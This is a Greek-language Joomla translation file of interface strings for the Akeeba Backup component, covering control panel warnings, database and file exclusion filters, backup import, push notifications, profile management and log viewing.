COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN1="Εντοπίσαμε ότι το CloudFlare Rocket Loader είναι ενεργοποιημένο στον ιστότοπό σας. Αυτή η λειτουργία θα παρεμβαίνει στη JavaScript του ιστότοπού σας, αναταράσσοντας τη σειρά φόρτωσης σεναρίων και προκαλώντας σφάλματα JavaScript. Παρακαλώ απενεργοποιήστε τη λειτουργία Rocket Loader για να επιτρέψετε στη JavaScript του Joomla και του Akeeba Backup να λειτουργεί σωστά. Για περισσότερες πληροφορίες και οδηγίες, ανατρέξτε στην <a href='%s' target='_blank'>τεκμηρίωση του CloudFlare</a>."
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN="Το Rocket Loader του CloudFlare θα σας εμποδίσει να χρησιμοποιήσετε σωστά το Joomla!&trade; και το Akeeba Backup"
COM_AKEEBABACKUP_CPANEL_MSG_FESECRETWORD_RESET="Η Μυστική Λέξη έχει αλλαχτεί σε <code>%s</code>"
COM_AKEEBABACKUP_CPANEL_MSG_JOOMLABUGGYUPDATES="<strong>Σημαντικό:</strong> Εάν το Joomla έχει ήδη διαπιστώσει ότι υπάρχουν ενημερώσεις για το Akeeba Backup πριν εισάγετε το Download ID σας, <em>ενδέχεται να μην μπορεί να τις κατεβάσει</em> ακόμα και μετά την εισαγωγή του Download ID σας λόγω ορισμένων παλαιών σφαλμάτων Joomla. Σε αυτή την περίπτωση, παρακαλώ κατεβάστε το αρχείο ZIP της τελευταίας έκδοσης από τον ιστότοπό μας. Στη συνέχεια μεταβείτε στο μενού Σύστημα του Joomla, βρείτε το τμήμα Εγκατάσταση, κάντε κλικ στις Επεκτάσεις, κάντε κλικ στην καρτέλα Μεταφόρτωση αρχείου πακέτου και εγκαταστήστε το αρχείο ZIP που κατεβάσατε <strong>δύο φορές</strong> στη σειρά, <strong>χωρίς</strong> να απεγκαταστήσετε το Akeeba Backup πριν ή στο ενδιάμεσο. Η διπλή εγκατάσταση απαιτείται για να αντιμετωπιστεί άλλο ένα παλαιό σφάλμα στο Joomla που μερικές φορές εμποδίζει την αντιγραφή όλων των ενημερωμένων αρχείων κατά την εγκατάσταση μιας ενημέρωσης επέκτασης."
COM_AKEEBABACKUP_CPANEL_MSG_MUSTENTERDLID="Πρέπει να εισάγετε το Download ID σας"
COM_AKEEBABACKUP_CPANEL_MSG_WHERETOENTERDLID="Μεταβείτε στο μενού Σύστημα του Joomla από την αριστερή πλευρά. Βρείτε το τμήμα Ενημέρωση και κάντε κλικ στον σύνδεσμο Ιστότοποι ενημερώσεων. Βρείτε το στοιχείο «Akeeba Backup Professional» και κάντε κλικ πάνω του. Εναλλακτικά, <a href=\"%s\">κάντε κλικ εδώ</a> για να μεταβείτε απευθείας σε αυτή τη σελίδα. Εισάγετε το Download ID σας — είτε το Κύριο ID σας είτε ένα πρόσθετο Download ID — στο πεδίο «Κλειδί λήψης» και κάντε κλικ στο κουμπί Αποθήκευση."
COM_AKEEBABACKUP_CPANEL_PROFILE_BUTTON="Εναλλαγή προφίλ"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_ERROR="Σφάλμα κατά την εναλλαγή του ενεργού προφίλ"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_OK="Το προφίλ άλλαξε με επιτυχία"
COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE="Ενεργό προφίλ"
COM_AKEEBABACKUP_CPANEL_WARNING_Q001="Ο κατάλογος εξόδου δεν είναι εγγράψιμος"
COM_AKEEBABACKUP_CPANEL_WARNING_Q003="Χρήση του ριζικού φακέλου ιστότοπου ως κατάλογος εξόδου ή προσωρινός κατάλογος"
COM_AKEEBABACKUP_CPANEL_WARNING_Q004="Η memory_limit PHP είναι πολύ χαμηλή"
COM_AKEEBABACKUP_CPANEL_WARNING_Q013="Χρήση του φακέλου του στοιχείου ως κατάλογος εξόδου"
COM_AKEEBABACKUP_CPANEL_WARNING_Q015="Προσαρμοσμένος δημόσιος φάκελος Joomla! με ενεργοποιημένη την Αποσύμπλεξη συνδέσμων"
COM_AKEEBABACKUP_CPANEL_WARNING_Q101="Ο κατάλογος εξόδου περιορίζεται από open_basedir"
COM_AKEEBABACKUP_CPANEL_WARNING_Q103="Ο μέγιστος χρόνος εκτέλεσης είναι πολύ χαμηλός"
COM_AKEEBABACKUP_CPANEL_WARNING_Q104="Ο προσωρινός κατάλογος είναι ο ίδιος με τον ριζικό φάκελο του ιστότοπου"
COM_AKEEBABACKUP_CPANEL_WARNING_Q106="Το πρόθεμα ονόματος πίνακα βάσης δεδομένων σας περιέχει ένα ή περισσότερα κεφαλαία γράμματα"
COM_AKEEBABACKUP_CPANEL_WARNING_Q107="Χρησιμοποιείτε <code>bak_</code> ως πρόθεμα ονόματος πίνακα βάσης δεδομένων του ιστότοπού σας."
COM_AKEEBABACKUP_CPANEL_WARNING_Q201="Παλαιά έκδοση PHP"
COM_AKEEBABACKUP_CPANEL_WARNING_Q202="Πρόβλημα υπολογισμού CRC"
COM_AKEEBABACKUP_CPANEL_WARNING_Q203="Χρήση προεπιλεγμένου καταλόγου εξόδου"
COM_AKEEBABACKUP_CPANEL_WARNING_Q204="Απενεργοποιημένες συναρτήσεις ενδέχεται να επηρεάσουν τη λειτουργία"
COM_AKEEBABACKUP_CPANEL_WARNING_Q401="Επιλεγμένη μορφή ZIP"
COM_AKEEBABACKUP_CPANEL_WARNING_QNONE="Δεν εντοπίστηκαν προβλήματα"
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_TITLE="Η έκδοση PHP σας δεν έχει εγκατεστημένη ή ενεργοποιημένη την επέκταση mbstring."
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_BODY="Η ενεργοποίησή της είναι απαίτηση του Joomla!. Το Joomla! και το Akeeba Backup δεν θα λειτουργούν σωστά. Παρακαλώ ζητήστε από τον πάροχο φιλοξενίας να ενεργοποιήσει την επέκταση mbstring στην PHP %s που εκτελείται στον διακομιστή σας."

COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD="Ειδοποιήσεις push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_SUMMARY="Διαχείριση ειδοποιήσεων push στο πρόγραμμα περιήγησής σας"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_DETAILS="Οι ειδοποιήσεις push διαχειρίζονται ανά πρόγραμμα περιήγησης και συσκευή μέσω του Push API του προγράμματος περιήγησης. Ορισμένα παλαιότερα προγράμματα περιήγησης ενδέχεται να μην υποστηρίζουν ειδοποιήσεις push. Παρακαλώ διαβάστε την τεκμηρίωση για περισσότερες πληροφορίες."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD="Οι ειδοποιήσεις push δεν είναι διαθέσιμες"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_BODY="Το πρόγραμμα περιήγησής σας δεν υποστηρίζει το Push API. Παρακαλώ χρησιμοποιήστε πρόσφατη έκδοση Firefox, Chrome, Edge, Opera ή άλλων προγραμμάτων περιήγησης με υποστήριξη Web Push API. <br/><small>Το Push API υποστηρίζεται επίσης στο Safari σε macOS Ventura και νεότερα, καθώς και στο iOS 16.1 και νεότερα.</small>"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_SERVER_BODY="Ο διακομιστής σας δεν πληροί τις ελάχιστες απαιτήσεις για τη χρήση του Push API του προγράμματος περιήγησης για αποστολή ειδοποιήσεων. Παρακαλώ συμβουλευτείτε την τεκμηρίωση για τη λίστα απαιτήσεων αυτής της λειτουργίας."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_SUBSCRIBE="Ενεργοποίηση ειδοποιήσεων push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_UNSUBSCRIBE="Απενεργοποίηση ειδοποιήσεων push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_TITLE="Ειδοποιήσεις Akeeba Backup ενεργοποιημένες στο %s"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_BODY="Αυτό το μήνυμα επιβεβαιώνει ότι η ενεργοποίηση των ειδοποιήσεων push λειτούργησε και σας δείχνει πώς θα εμφανίζονται οι ειδοποιήσεις Akeeba Backup."

COM_AKEEBABACKUP_DBFILTER="Εξαίρεση πινάκων βάσης δεδομένων"
COM_AKEEBABACKUP_DBFILTER_LABEL_EXCLUDENONCORE="Εξαίρεση μη βασικών πινάκων"
COM_AKEEBABACKUP_DBFILTER_LABEL_NUKEFILTERS="Επαναφορά όλων των φίλτρων"
COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR="Τρέχουσα βάση δεδομένων:"
COM_AKEEBABACKUP_DBFILTER_LABEL_SITEDB="Κύρια βάση δεδομένων ιστότοπου"
COM_AKEEBABACKUP_DBFILTER_LABEL_TABLES="Πίνακες, προβολές, διαδικασίες, συναρτήσεις και εναύσματα βάσης δεδομένων"
COM_AKEEBABACKUP_DBFILTER_TABLE_FUNCTION="Αποθηκευμένη συνάρτηση"
COM_AKEEBABACKUP_DBFILTER_TABLE_META_ROWCOUNT="Αριθμός γραμμών"
COM_AKEEBABACKUP_DBFILTER_TABLE_MISC="Τύπος πίνακα συγχώνευσης, προσωρινός, μνήμης, ομοσπονδιακός, blackhole ή διάφορος<br/>Τα δεδομένα του δεν γίνονται ποτέ αντίγραφο ασφαλείας από το Akeeba Backup."
COM_AKEEBABACKUP_DBFILTER_TABLE_PROCEDURE="Αποθηκευμένη διαδικασία"
COM_AKEEBABACKUP_DBFILTER_TABLE_TABLE="Πίνακας βάσης δεδομένων"
COM_AKEEBABACKUP_DBFILTER_TABLE_TRIGGER="Εναύσμα βάσης δεδομένων"
COM_AKEEBABACKUP_DBFILTER_TABLE_VIEW="Προβολή MySQL"
COM_AKEEBABACKUP_DBFILTER_TABLE_TEMP="Προσωρινός πίνακας"
COM_AKEEBABACKUP_DBFILTER_TABLE_UNKNOWN="Άλλος τύπος οντότητας βάσης δεδομένων"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLEDATA="Να μη γίνεται αντίγραφο ασφαλείας του περιεχομένου πίνακα"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLES="Εξαίρεση πίνακα"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA="Να μη γίνεται αντίγραφο ασφαλείας του περιεχομένου"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES="Εξαίρεση αυτού"

COM_AKEEBABACKUP_DISCOVER="Εισαγωγή αρχείων"
COM_AKEEBABACKUP_DISCOVER_ERROR_NODIRECTORY="Δεν έχετε επιλέξει έγκυρο κατάλογο"
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILES="Δεν υπάρχουν αρχεία αντιγράφων ασφαλείας για εισαγωγή στον επιλεγμένο κατάλογο. Παρακαλώ επιστρέψτε και επιλέξτε έναν άλλο κατάλογο."
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILESSELECTED="Δεν επιλέξατε αρχεία για εισαγωγή."
COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY="Κατάλογος"
COM_AKEEBABACKUP_DISCOVER_LABEL_FILES="Εντοπισμένα αρχεία αντιγράφων"
COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK="Επιστροφή στην επιλογή καταλόγου"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORT="Εισαγωγή αρχείων"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTDONE="Η εργασία εισαγωγής ολοκληρώθηκε με επιτυχία."
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION="Εισήχθη αρχείο αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_DISCOVER_LABEL_S3IMPORT="Τα αρχεία σας αποθηκεύονται στο Amazon S3; Κάντε κλικ <a href=\"%s\">εδώ</a> για να τα κατεβάσετε και να τα εισάγετε σε ένα βήμα!"
COM_AKEEBABACKUP_DISCOVER_LABEL_SCAN="Σάρωση για αρχεία"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTDIR="Επιλέξτε κατάλογο που περιέχει αρχεία αντιγράφων ασφαλείας"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTFILES="Παρακαλώ επιλέξτε τα αρχεία για εισαγωγή. Κρατήστε πατημένο το πλήκτρο CTRL ή Command ενώ κάνετε κλικ στα αρχεία για να κάνετε πολλαπλή επιλογή."

COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_FAILED="Η μετα-επεξεργασία (μεταφόρτωση σε απομακρυσμένο χώρο αποθήκευσης) ΑΠΕΤΥΧΕ."
COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_SUCCESS="Η μετα-επεξεργασία (μεταφόρτωση σε απομακρυσμένο χώρο αποθήκευσης) ήταν επιτυχής."

COM_AKEEBABACKUP_FILEFILTERS="Εξαίρεση αρχείων και καταλόγων"
COM_AKEEBABACKUP_FILEFILTERS_EDITOR_TITLE="Επεξεργασία"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER="Προσθήκη νέου φίλτρου:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS="Υποκατάλογοι"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES="Αρχεία"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM="Στοιχείο φίλτρου"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW="Προβολή περιηγητή"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NUKEFILTERS="Επαναφορά όλων των φίλτρων"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR="Ριζικός κατάλογος:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW="Συνοπτική προβολή"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE="Τύπος"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER="Παρουσιάστηκε σφάλμα κατά την εφαρμογή του φίλτρου για &quot;%s&quot;."
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT="&lt;ρίζα&gt;"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_VIEWALL="Εμφάνιση όλων των εξαιρέσεων"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLDIRS="Εφαρμογή σε όλους τους φακέλους της λίστας"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLFILES="Εφαρμογή σε όλα τα αρχεία της λίστας"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES="Εξαίρεση καταλόγου"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES_ALL="Εξαίρεση όλων των καταλόγων"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES="Εξαίρεση αρχείου"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES_ALL="Εξαίρεση όλων των αρχείων"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS="Παράλειψη υποκαταλόγων"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS_ALL="Παράλειψη όλων των καταλόγων"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES="Παράλειψη αρχείων"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES_ALL="Παράλειψη όλων των αρχείων"
COM_AKEEBABACKUP_FILTER_SELECT_QUICKICON="– Εικονίδιο αντιγράφου ασφαλείας με ένα κλικ –"

COM_AKEEBABACKUP_INCLUDEFOLDER="Συμπερίληψη εξωτερικών καταλόγων"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY="Κατάλογος"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY_HELP="Ο κατάλογος στον διακομιστή σας που θα συμπεριληφθεί στο αντίγραφο ασφαλείας. Αυτή η λειτουργία προορίζεται μόνο για καταλόγους που βρίσκονται εκτός του ριζικού φακέλου του ιστότοπού σας. Οι κατάλογοι εντός του ριζικού φακέλου του ιστότοπου γίνονται πάντα αυτόματα αντίγραφα ασφαλείας, εκτός αν τους εξαιρείτε χρησιμοποιώντας τη λειτουργία Εξαίρεσης αρχείων και καταλόγων."
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR="Εικονικός υποκατάλογος"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR_HELP="Τα αρχεία αποθηκεύονται στο αρχείο μέσα σε υποκατάλογο του εικονικού καταλόγου για αρχεία εκτός ιστότοπου, που ορίζεται στη διαμόρφωση σας (προεπιλογή: external_files). Μπορείτε να προσαρμόσετε το όνομα αυτού του καταλόγου. Ορίστε το σε μία μοναδική κάθετο (/ αυτός ο χαρακτήρας) και τα εξωτερικά αρχεία σας θα τοποθετηθούν μέσα στον ριζικό φάκελο του ιστότοπού σας. Αυτό είναι χρήσιμο εάν θέλετε να παρακάμψετε ορισμένα αρχεία στο αντίγραφο ασφαλείας, π.χ. το αρχείο configuration.php ή να προσαρμόσετε το πρότυπο του σεναρίου εγκατάστασης."

COM_AKEEBABACKUP_LBL_BATCH_COPY="Αντιγραφή"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSDLID="Πρέπει να εισάγετε το <strong>Download ID</strong> σας πριν μπορέσετε να ενημερώσετε το Akeeba Backup Professional και να χρησιμοποιήσετε ορισμένες λειτουργίες απομακρυσμένης αποθήκευσης. <a href='%s' target='_blank'>Εάν δεν γνωρίζετε το Download ID σας, κάντε κλικ εδώ</a>."
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_HEAD="Η εισαγωγή του Download ID δεν αρκεί για την ενεργοποίηση των λειτουργιών του Akeeba Backup Professional"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_BODY="Θα χρειαστεί να κατεβάσετε και να εγκαταστήσετε το πακέτο Akeeba Backup Professional στον ιστότοπό σας <em>δύο φορές</em>, χωρίς να απεγκαταστήσετε την έκδοση Core. Για περισσότερες πληροφορίες και λεπτομερείς οδηγίες, παρακαλώ δείτε το <a href='%s'>βιντεοοδηγό μας για την αναβάθμιση του Akeeba Backup Core σε Professional</a>."
COM_AKEEBABACKUP_LBL_PROFILES_SAVED="Το προφίλ αποθηκεύτηκε με επιτυχία"
COM_AKEEBABACKUP_LBL_PROFILE_COPIED="Το προφίλ και οι σχετικές ρυθμίσεις του αντιγράφηκαν με επιτυχία"
COM_AKEEBABACKUP_LBL_PROFILE_DELETED="Το προφίλ διαγράφηκε με επιτυχία"
COM_AKEEBABACKUP_LBL_PROFILE_SAVED="Το προφίλ αποθηκεύτηκε με επιτυχία"

COM_AKEEBABACKUP_LOG="Προβολή καταγραφής"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE="Παρακαλώ επιλέξτε αρχείο καταγραφής για εμφάνιση:"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_VALUE="- Επιλέξτε προέλευση αντιγράφου ασφαλείας -"
COM_AKEEBABACKUP_LOG_ERROR_LOGFILENOTEXISTS="Το αρχείο καταγραφής δεν υπάρχει στον κατάλογο εξόδου σας"
COM_AKEEBABACKUP_LOG_ERROR_UNREADABLE="Το αρχείο καταγραφής δεν μπορεί να αναγνωστεί"
COM_AKEEBABACKUP_LOG_LABEL_DOWNLOAD="Λήψη αρχείου καταγραφής"
COM_AKEEBABACKUP_LOG_NONE_FOUND="Δεν βρέθηκε αρχείο καταγραφής"
COM_AKEEBABACKUP_LOG_SHOW_LOG="Εμφάνιση καταγραφής"
COM_AKEEBABACKUP_LOG_SIZE_WARNING="Το αρχείο καταγραφής σας έχει μέγεθος %s Mb. Η προσπάθεια εμφάνισής του στο πρόγραμμα περιήγησης ενδέχεται να προκαλέσει κατάρρευση του προγράμματος περιήγησης ή σφάλμα χρονικού ορίου στον διακομιστή σας. Παρακαλώ χρησιμοποιήστε το κουμπί Λήψη καταγραφής παραπάνω για να κατεβάσετε το αρχείο καταγραφής στον υπολογιστή σας. Μπορείτε να ανοίξετε και να διαβάσετε την καταγραφή με οποιοδήποτε πρόγραμμα επεξεργασίας απλού κειμένου."

COM_AKEEBABACKUP_MULTIDB="Ορισμοί πολλαπλών βάσεων δεδομένων"
COM_AKEEBABACKUP_MULTIDB_ERR_MISSINGINFO="Πρέπει να καθορίσετε τουλάχιστον πρόγραμμα οδήγησης βάσης δεδομένων, όνομα κεντρικού υπολογιστή, όνομα χρήστη, κωδικό πρόσβασης και όνομα βάσης δεδομένων."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL="Άκυρο"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTFAIL="Αδυναμία σύνδεσης στη βάση δεδομένων. Παρακαλώ ελέγξτε τις ρυθμίσεις σας. Τελευταίο σφάλμα:"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTOK="Σύνδεση στη βάση δεδομένων επιτυχής!"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DATABASE="Όνομα βάσης δεδομένων"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DRIVER="Πρόγραμμα οδήγησης βάσης δεδομένων"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_HOST="Όνομα κεντρικού υπολογιστή διακομιστή βάσης δεδομένων"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING="Φόρτωση, παρακαλώ περιμένετε..."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PASSWORD="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PORT="Θύρα διακομιστή βάσης δεδομένων"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PREFIX="Πρόθεμα"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVE="Αποθήκευση"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVEFAIL="Η αποθήκευση απέτυχε· παρακαλώ δοκιμάστε ξανά"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_TEST="Δοκιμή σύνδεσης"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_USERNAME="Όνομα χρήστη"
COM_AKEEBABACKUP_MULTIDB_LABEL_DATABASE="Όνομα βάσης δεδομένων"
COM_AKEEBABACKUP_MULTIDB_LABEL_HOST="Όνομα κεντρικού υπολογιστή διακομιστή βάσης δεδομένων"

COM_AKEEBABACKUP_PROFILES="Διαχείριση προφίλ"
COM_AKEEBABACKUP_PROFILES_BTN_EXPORT="Εξαγωγή"
COM_AKEEBABACKUP_PROFILES_BTN_PUBLISH="Ενεργοποίηση εικονιδίου αντιγράφου ασφαλείας με ένα κλικ"
COM_AKEEBABACKUP_PROFILES_BTN_RESET="Επαναφορά"
COM_AKEEBABACKUP_PROFILES_BTN_UNPUBLISH="Απενεργοποίηση εικονιδίου αντιγράφου ασφαλείας με ένα κλικ"
COM_AKEEBABACKUP_PROFILES_ERROR_RESET_FAILED="Η επαναφορά της διαμόρφωσης και των φίλτρων του προφίλ αντιγράφου ασφαλείας απέτυχε. Αιτία: %s"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED="Η εισαγωγή προφίλ απέτυχε"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID="Μη έγκυρο αρχείο. Αυτό δεν φαίνεται να είναι εξαγόμενο αρχείο προφίλ .json."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_DESC="Βρείτε ένα προφίλ εισάγοντας μέρος της περιγραφής του. Βρείτε ένα προφίλ με το αναγνωριστικό του χρησιμοποιώντας τη σύνταξη <code>id:123</code> όπου 123 είναι ο αριθμητικός αναγνωριστής προφίλ."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_LABEL="Περιγραφή"
COM_AKEEBABACKUP_PROFILES_HEADER_IMPORT="Εισαγωγή"
COM_AKEEBABACKUP_PROFILES_IMPORT="Εισαγωγή"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION="Περιγραφή προφίλ"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP="Εισάγετε περιγραφή για αυτό το προφίλ. Δεν χρειάζεται να είναι μοναδική και χρησιμοποιείται μόνο για να σας βοηθήσει να διακρίνετε τα επιμέρους προφίλ."
COM_AKEEBABACKUP_PROFILES_LBL_EXPLAIN_PROFILES="Κάθε προφίλ αντιγράφου ασφαλείας είναι ένα σύνολο επιλογών διαμόρφωσης και επιλογών φίλτρων συμπερίληψης &amp; εξαίρεσης. Λέει στο Akeeba Backup τι και πώς να δημιουργεί αντίγραφο ασφαλείας και πού να αποθηκεύει τα αρχεία αντιγράφων ασφαλείας."
COM_AKEEBABACKUP_PROFILES_LBL_IMPORT_HELP="Επιλέξτε ένα εξαγόμενο αρχείο προφίλ .json από αυτόν ή διαφορετικό ιστότοπο για γρήγορη εισαγωγή των ρυθμίσεών του."
COM_AKEEBABACKUP_PROFILES_MSG_IMPORT_COMPLETE="Το προφίλ εισήχθη με επιτυχία"
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED="%d προφίλ αντιγράφου ασφαλείας διαγράφηκαν."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED_1="Το προφίλ αντιγράφου ασφαλείας διαγράφηκε."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED="Το αντίγραφο ασφαλείας με ένα κλικ ενεργοποιήθηκε για %d προφίλ."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED_1="Το αντίγραφο ασφαλείας με ένα κλικ ενεργοποιήθηκε για το προφίλ."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET="Η διαμόρφωση και τα φίλτρα %d προφίλ αντιγράφου ασφαλείας επαναφέρθηκαν."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET_1="Η διαμόρφωση και τα φίλτρα του προφίλ αντιγράφου ασφαλείας επαναφέρθηκαν."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED="Το αντίγραφο ασφαλείας με ένα κλικ απενεργοποιήθηκε για %d προφίλ."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED_1="Το αντίγραφο ασφαλείας με ένα κλικ απενεργοποιήθηκε για το προφίλ."
COM_AKEEBABACKUP_PROFILES_PAGETITLE_EDIT="Επεξεργασία προφίλ αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_PROFILES_PAGETITLE_NEW="Νέο προφίλ αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_PROFILES_TABLE_CAPTION="Πίνακας προφίλ αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEACTIVE="Δεν μπορείτε να διαγράψετε το τρέχον ενεργό προφίλ. Παρακαλώ μεταβείτε στη σελίδα Πίνακα Ελέγχου, επιλέξτε διαφορετικό προφίλ και επιστρέψτε σε αυτή τη σελίδα για να διαγράψετε το προφίλ #%d."
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEDEFAULT="Δεν μπορείτε να διαγράψετε το προεπιλεγμένο προφίλ (αυτό με id=1)"
COM_AKEEBABACKUP_PROFILE_ERR_NOACCESS="Δεν έχετε πρόσβαση σε αυτό το προφίλ αντιγράφου ασφαλείας"

COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY="Το Akeeba Backup εντόπισε ότι το αντίγραφο ασφαλείας του ιστότοπού σας \"%s\" που βρίσκεται στο %s απέτυχε."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE="Το Akeeba Backup εντόπισε ότι το αντίγραφο ασφαλείας του ιστότοπού σας \"%s\" που βρίσκεται στο %s απέτυχε. Το μήνυμα αποτυχίας αντιγράφου ασφαλείας είναι:\n%s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_SUBJECT="Αποτυχία αντιγράφου ασφαλείας για %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_BODY="Το Akeeba Backup ολοκλήρωσε επιτυχώς τη δημιουργία αντιγράφου ασφαλείας του ιστότοπού σας \"%s\" που βρίσκεται στο %s στις %s."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_SUBJECT="Επιτυχές αντίγραφο ασφαλείας για %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_BODY="Το Akeeba Backup ολοκλήρωσε τη δημιουργία αντιγράφου ασφαλείας του ιστότοπού σας \"%s\" που βρίσκεται στο %s στις %s αλλά εκδόθηκαν προειδοποιήσεις. Αυτό μπορεί να σημαίνει ότι αρχεία δεν έγιναν αντίγραφο ασφαλείας ή, εάν μεταφορτώνετε αυτόματα το αντίγραφο ασφαλείας σε απομακρυσμένο χώρο αποθήκευσης, η μεταφόρτωση ενδέχεται να απέτυχε.\nΠρέπει να ελέγξετε τις προειδοποιήσεις και να βεβαιωθείτε ότι το αντίγραφο ασφαλείας σας ολοκληρώθηκε με επιτυχία. Σας συμβουλεύουμε να δοκιμάζετε πάντα ένα αντίγραφο ασφαλείας που οδήγησε σε προειδοποιήσεις για να βεβαιωθείτε ότι λειτουργεί σωστά. Μπορείτε να το κάνετε επαναφέροντάς το σε τοπικό διακομιστή. Θυμηθείτε ότι ένα μη δοκιμασμένο αντίγραφο ασφαλείας είναι εξίσου καλό με το να μην υπάρχει αντίγραφο ασφαλείας."
